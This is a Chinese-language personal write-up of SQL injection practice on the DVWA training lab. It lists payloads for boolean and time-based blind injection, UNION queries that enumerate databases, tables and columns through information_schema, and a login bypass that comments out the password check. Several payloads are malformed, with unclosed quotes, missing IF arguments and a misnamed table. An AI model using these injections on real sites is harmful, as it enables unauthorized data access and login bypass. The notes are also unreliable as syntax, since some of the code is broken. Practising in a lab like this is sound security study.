这是一篇对基础的sql注入练习过程,可能会比较乱,请多谅解
靶场:dvwa
注入有get和post,post相对安全一点
先判断是否存在注入和注入类型:
- 设置安全性
2.在sql injection输入了错误语法返回值:(1‘or’1‘=1 )
3.先进入dvwa数据库进行一个正常查询
select * from users where user_id=1;
后面进行用表达式查询
经过多次查询发现userID满足逻辑表达式(and和or),漏洞的原因就是因为后台的sql代码的user_id值加了引号。从而可以查询到多条记录。
点击出现错误,提示是这一行错误,去掉[0]即可
——逻辑式得知可以进行字符型的注入。
用排序语句测验查询使用了几条字段
Order by 1时
=2时
得知使用了两条字段
基于布尔的盲注
Eg:优先级来判断用户是否存在
1' and(select if(1=1,1,0));# 这时存在,
1' and(select if(1=21,0));# 不存在
因为先执行括号里面,又是and连接。
猜测数据库名
1' and (select if(ascii(substring(database(), 1, 1))<ascii('e), 1, 0));#
返回错误
1' and (select if(ascii(substring(database(), 1, 1))<ascii('d), 1, 0));#
返回错误
2.基于时间的盲注
id= 1'; select if(current_user() LIKE 'root%', 0, sleep(5));#
得知是否存在数据库
Post注入:
将安全级别设置为low
1' and(select if(1=1,1,0));#
判断sql注入是否存在
- 先判断参数类型
根据数据库的反馈来判断
攻击路径:通过向
Select if(user()=’root’,’yes; ‘no’)
Select if(1,’root’,’yes; ‘no’)
那怎么让web服务器回答问题
用union连接IF语句
比如
Id=1’ union select if(1=2);#
探测数据库模式获得更多信息
2' union select null,table_schema from information_schema.tables;#
利用数据库信息配置数据库得知了当前的数据库名
利用where语句对inform表进行限制查出dvwa数据库下有两张表
接着查出数据库下的字段名
2' union select null,column_name from information_schema.columns where table_schema='dvwa';#
优化查询,查出列所属表
查询users的字段值
盲注
1.将安全级别设置为中等
2.利用火狐浏览器的拦截请求
3.改变拦截已达到目的
——进行联合查询
时间注入
id= 1'; select if(current_user() LIKE 'root%', 0, sleep(5));#
利用信息表查询数据库名等信息
id=1 union select table_schema,table_name from information_schema.table&Submit=Submit
利用注释符号进行SQL注入
尝试输入#这种注释,成功
select * from users where user_id='1';#'
将#换成/**/ 返回错误
select * from users where user_id='1';/**/';
观察SQL语句知道,最后的单引号没有闭合,注释只对//内生效。
2.登录模块的SQL测试force)
进入数据后台知道用户的密码经过了MD5加密
利用#号进行测试
成功利用#号不要密码登录成功
select * from users where user='admin';# and password='md5(password)';
观察SQL语句得知,利用#好作用将后面的所有都注释掉了
(2)查询所有用户
select user from users
就可以让其他用户也不用密码登录
用 - - 注释
select * from users where user='pablo';-- and password='md5(password)';
发现将密码注释掉,注意后面敲一下空格。